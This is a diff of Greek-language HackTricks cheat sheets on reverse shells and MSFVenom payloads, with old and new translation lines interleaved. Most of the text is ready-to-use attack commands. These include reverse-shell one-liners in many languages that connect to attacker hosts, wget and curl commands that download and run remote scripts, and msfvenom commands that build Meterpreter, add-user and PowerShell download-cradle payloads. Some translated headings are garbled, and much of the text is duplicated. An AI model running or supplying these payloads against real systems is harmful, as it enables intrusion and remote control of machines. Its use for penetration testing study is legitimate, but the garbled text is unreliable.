* Με **την ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελεσματικά την έξοδο της διαδραστικής συνεδρίας shell στη μηχανή του επιτιθέμενου.
4. **`0>&1`**: Αυτό το μέρος της εντολής **ανακατευθύνει την κανονική είσοδο (`stdin`) στον ίδιο προορισμό με την κανονική έξοδο (`stdout`)**.
* Με το **ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελέσματα της διαδραστικής συνεδρίας κελύφους στον υπολογιστή του εισβολέα.
4. **`0>&1`**: Αυτό το τμήμα της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
### Δημιουργία σε αρχείο και εκτέλεση
### Create in file and execute
```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
```
## Forward Shell
## Προώθηση Κέλυφους
Όταν ασχολείστε με μια **Remote Code Execution (RCE)** ευπάθεια σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός reverse shell μπορεί να εμποδιστεί από αμυντικά δίκτυα όπως οι κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοιες περιορισμένες συνθήκες, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός PTY (Pseudo Terminal) shell για να αλληλεπιδράσετε με το παραβιασμένο σύστημα πιο αποτελεσματικά.
Όταν αντιμετωπίζετε μια ευπάθεια **Απομακρυσμένης Εκτέλεσης Κώδικα (RCE)** σε μια εφαρμογή ιστού βασισμένη σε Linux, η επίτευξη ενός αντίστροφου κελύφους ενδέχεται να εμποδίζεται από αμυντικά δίκτυου όπως κανόνες iptables ή περίπλοκοι μηχανισμοί φιλτραρίσματος πακέτων. Σε τέτοια περιορισμένα περιβάλλοντα, μια εναλλακτική προσέγγιση περιλαμβάνει τη δημιουργία ενός κελύφους PTY (Ψευδοτερματικό) για να αλληλεπιδράτε αποτελεσματικότερα με το συμβιβασμένο σύστημα.
Ένα προτεινόμενο εργαλείο για αυτόν τον σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα πρόσθετο Python που προσαρμόζεται στο πλαίσιο RCE του συστήματος στόχου σας. Για παράδειγμα, ένα πρόσθετο με το όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
Ένα προτεινόμενο εργαλείο για αυτό το σκοπό είναι το [toboggan](https://github.com/n3rada/toboggan.git), το οποίο απλοποιεί την αλληλεπίδραση με το περιβάλλον στόχο.
Για να χρησιμοποιήσετε το toboggan αποτελεσματικά, δημιουργήστε ένα Python module προσαρμοσμένο στο RCE πλαίσιο του συστήματος στόχου σας. Για παράδειγμα, ένα module με όνομα `nix.py` θα μπορούσε να δομηθεί ως εξής:
```python3
import jwt
import httpx
@ -104,27 +96,23 @@ response.raise_for_status()
return response.text
```
Και στη συνέχεια, μπορείτε να εκτελέσετε:
```shell
toboggan -m nix.py -i
```
Για να εκμεταλλευτείτε άμεσα ένα διαδραστικό shell. Μπορείτε να προσθέσετε `-b` για την ενσωμάτωση του Burpsuite και να αφαιρέσετε το `-i` για μια πιο βασική rce wrapper.
Για να εκμεταλλευτείτε απευθείας ένα διαδραστικό κέλυφος. Μπορείτε να προσθέσετε το `-b` για ολοκλήρωση με το Burpsuite και να αφαιρέσετε το `-i` για ένα πιο βασικό rce wrapper.
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης προώθησης κελύφους `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Μια άλλη δυνατότητα είναι η χρήση της υλοποίησης forward shell του `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
Απλά χρειάζεται να τροποποιήσετε:
* Το URL του ευάλωτου κεντρικού υπολογιστή
* Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει)
* Ο τρόπος με τον οποίο το φορτίο στέλνεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
* Το URL του ευάλωτου host
* Το πρόθεμα και το επίθημα του payload σας (αν υπάρχει)
* Τον τρόπο αποστολής του payload (headers; data; επιπλέον πληροφορίες;)
Έπειτα, μπορείτε απλά **να στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
Στη συνέχεια, μπορείτε απλά να **στείλετε εντολές** ή ακόμα και **να χρησιμοποιήσετε την εντολή `upgrade`** για να αποκτήσετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1.3 δευτερολέπτων).
## Netcat
```bash
nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
@ -132,44 +120,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## gsocket
Ελέγξτε το στο [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
```bash
bash -c "$(curl -fsSL gsocket.io/x)"
```
## Telnet
Telnet είναι ένα πρωτόκολλο δικτύου που επιτρέπει σε έναν χρήστη να συνδεθεί σε έναν απομακρυσμένο υπολογιστή ή συσκευή και να εκτελέσει εντολές από απόσταση.
```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
```
## Whois
**Επιτιθέμενος**
```bash
while true; do nc -l <port>; done
```
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
**Θύμα**
```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
```
## Πυθών
## Python
```bash
#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -177,25 +153,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```
## Perl
Perl (Practical Extraction and Reporting Language) είναι μια γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για τη διεξαγωγή εργασιών σε συστήματα Unix.
```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## Ruby
## Ρούμπι
```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## PHP
```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -207,41 +175,29 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
```
## Java
```bash
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```
## Ncat
```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl
```
## Golang
## Γκολάν
```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```
## Lua
Lua είναι ένα ελαφρύ, δυναμικό, ερμηνευμένο γλώσσα προγραμματισμού.
```bash
#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## NodeJS
```javascript
(function(){
var net = require("net"),
@ -284,19 +240,15 @@ or
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
```
## OpenSSL
Ο Εισβολέας (Kali)
Ο Επιτιθέμενος (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
Ο Θύμα
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -304,93 +256,39 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## **Socat**
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Bind shell
### Δεσμευμένο κέλυφος
```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
```
### Αντίστροφη κέλυφωση
### Αντίστροφη θήκη
```bash
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
```
## Awk
```bash
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
```
## Δάχτυλο
## Finger
**Επιτιθέμενος**
```bash
while true; do nc -l 79; done
```
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
**Θύμα**
```bash
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
```
## Gawk
### Εισαγωγή
Το Gawk είναι ένα ισχυρό εργαλείο για την επεξεργασία κειμένου και τη δημιουργία αναφορών. Μπορεί να χρησιμοποιηθεί για την ανάλυση και επεξεργασία αρχείων κειμένου, καθώς και για την εκτέλεση απλών βασικών εντολών σε σενάρια shell.
### Βασική σύνταξη
Η βασική σύνταξη του Gawk είναι:
```bash
gawk 'pattern { action }' file
```
όπου:
* `pattern` αντιπροσωπεύει το πρότυπο που πρέπει να ταιριάζει με τις γραμμές του αρχείου
* `action` αντιπροσωπεύει την ενέργεια που πρέπει να εκτελεστεί όταν το πρότυπο ταιριάζει
* `file` είναι το αρχείο που θα επεξεργαστεί το Gawk
### Παραδείγματα
Παρακάτω παρουσιάζονται μερικά παραδείγματα χρήσης του Gawk:
1. Εκτύπωση όλων των γραμμών ενός αρχείου:
```bash
gawk '{ print }' file.txt
```
2. Εκτύπωση της πρώτης στήλης κάθε γραμμής:
```bash
gawk '{ print $1 }' file.txt
```
3. Υπολογισμός του αθροίσματος μιας στήλης:
```bash
gawk '{ sum += $1 } END { print sum }' file.txt
```
Με τη χρήση του Gawk, μπορείτε να εκτελέσετε πολλαπλές ενέργειες επεξεργασίας κειμένου με απλό και αποτελεσματικό τρόπο.
```bash
#!/usr/bin/gawk -f
@ -413,35 +311,28 @@ close(Service)
}
}
```
## Xterm
Αυτό θα προσπαθήσει να συνδεθεί στο σύστημά σας στη θύρα 6001:
```bash
xterm -display 10.0.0.1:1
```
Για να πιάσετε το αντίστροφο κέλυφος μπορείτε να χρησιμοποιήσετε (που θα ακούει στη θύρα 6001):
Για να πιάσετε το reverse shell μπορείτε να χρησιμοποιήσετε (το οποίο θα ακούει στη θύρα 6001):
```bash
# Authorize host
xhost +targetip
# Listen
Xnest :1
```
## Groovy
από [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Το αντίστροφο κέλυφος Java λειτουργεί επίσης για το Groovy
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) ΣΗΜΕΙΩΣΗ: Η αντίστροφη shell Java λειτουργεί επίσης για το Groovy
```bash
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
## Αναφορές
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
@ -449,22 +340,23 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
**Ομάδα Ασφαλείας Try Hard**
**Try Hard Security Group**
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/generic-methodologies-and-resources/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,58 +1,49 @@
# MSFVenom - Φύλλο απατεώνα
# MSFVenom - CheatSheet
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξη HackTricks</summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Εγγραφείτε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Εγγραφείτε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους hackers και κυνηγούς bug bounty!
**Εισαγωγή στο Χάκινγκ**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ
**Ενημερώσεις Hacking**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Ειδήσεις Hack σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και πληροφοριών σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις των πλατφορμών
Μείνετε ενημερωμένοι με τις πιο πρόσφατες bug bounties που ξεκινούν και κρίσιμες ενημερώσεις πλατφόρμας
**Εγγραφείτε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Εγγραφείτε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους hackers σήμερα!
***
## Βασική msfvenom
## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
Μπορείτε επίσης να χρησιμοποιήσετε το `-a` για να καθορίσετε την αρχιτεκτονική ή την `--platform`
Μπορείτε επίσης να χρησιμοποιήσετε το `-a` για να καθορίσετε την αρχιτεκτονική ή το `--platform`
## Listing
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
```
## Κοινοί παράμετροι κατά τη δημιουργία ενός shellcode
When creating a shellcode, there are several common parameters that can be used to customize its behavior. These parameters include:
- **LHOST**: Η διεύθυνση IP του επιτιθέμενου συστήματος, στο οποίο θα σταλεί ο shellcode.
- **LPORT**: Ο αριθμός θύρας στον οποίο θα ακούει ο shellcode για συνδέσεις.
- **EXITFUNC**: Η μέθοδος που θα χρησιμοποιηθεί για την έξοδο από το πρόγραμμα μετά την εκτέλεση του shellcode.
- **Encoder**: Ο κωδικοποτητής που θα χρησιμοποιηθεί για την απόκρυψη του shellcode.
- **Badchars**: Οι χαρακτήρες που πρέπει να αποφευχθούν στο shellcode, εάν υπάρχουν.
- **Platform**: Η πλατφόρμα στην οποία θα εκτελεστεί το shellcode (π.χ. Windows, Linux, macOS).
- **Arch**: Η αρχιτεκτονική του συστήματος στο οποίο θα εκτελεστεί το shellcode (π.χ. x86, x64, ARM).
Αυτές οι παράμετροι μπορούν να προσαρμοστούν ανάλογα με τις ανάγκες της επίθεσης και το περιβάλλον στο οποίο θα εκτελεστεί το shellcode.
## Κοινές παράμετροι κατά τη δημιουργία ενός shellcode
```bash
-b "\x00\x0a\x0d"
-f c
@ -62,39 +53,41 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
```
## **Windows**
### **Αντίστροφο Shell**
### **Αντίστροφη Σέλα**
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
```
### Συνδεδεμένη θύρα (Bind Shell)
{% endcode %}
### Bind Shell
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
```
{% code overflow="wrap" %}
{% endcode %}
### Δημιουργία Χρήστη
{% code %}
{% code overflow="wrap" %}
```bash
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```
{% code overflow="wrap" %}
{% endcode %}
### CMD Shell
{% code %}
{% code overflow="wrap" %}
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
{% code overflow="wrap" %}
{% endcode %}
### **Εκτέλεση Εντολής**
{% endcode %}
{% code overflow="wrap" %}
```bash
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
@ -117,16 +110,18 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
```
{% endcode %}
## Πληρωμές Linux
## Linux Payloads
### Αντίστροφο κέλυφος
### Αντίστροφη Σκηνή
{% code overflow="wrap" %}
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
### Συνδεδεμένη θύρα (Bind Shell)
{% endcode %}
### Bind Shell
{% code overflow="wrap" %}
```bash
@ -142,15 +137,17 @@ msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTAC
```
{% endcode %}
## **MAC Παραμέτροι**
## **MAC Payloads**
### **Αντίστροφο Shell:**
### **Αντίστροφη Σκηνή:**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
```
### **Συνδεδεμένη θύρα**
{% endcode %}
### **Bind Shell**
{% code overflow="wrap" %}
```bash
@ -158,11 +155,11 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
```
{% endcode %}
## **Πλατφόρμες βασισμένες στον ιστό**
## **Web Based Payloads**
### **PHP**
#### Αντίστροφη κέλυφος
#### Αντίστροφη θήκη
{% code overflow="wrap" %}
```bash
@ -173,7 +170,7 @@ cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> s
### ASP/x
#### Αντίστροφο κέλυφος
#### Αντίστροφη θήκη
{% code overflow="wrap" %}
```bash
@ -184,7 +181,7 @@ msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
### JSP
#### Αντίστροφο κέλυφος
#### Αντίστροφη θήκη
{% code overflow="wrap" %}
```bash
@ -192,21 +189,21 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
```
{% endcode %}
### WAR
### ΠΟΛΕΜΟΣ
#### Αντίστροφος Shell
#### Αντίστροφη Σκηνή
{% code overflow="wrap" %}
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f war > reverse.war
```
{% code %}
{% endcode %}
### NodeJS
```bash
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```
## **Φορτία γλωσσών σεναρίου**
## **Γλώσσες Σκριπτών payloads**
### **Perl**
@ -214,11 +211,11 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
```bash
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
```
{% code overflow="wrap" %}
### **Python**
{% endcode %}
### **Πυθών**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
@ -232,31 +229,32 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
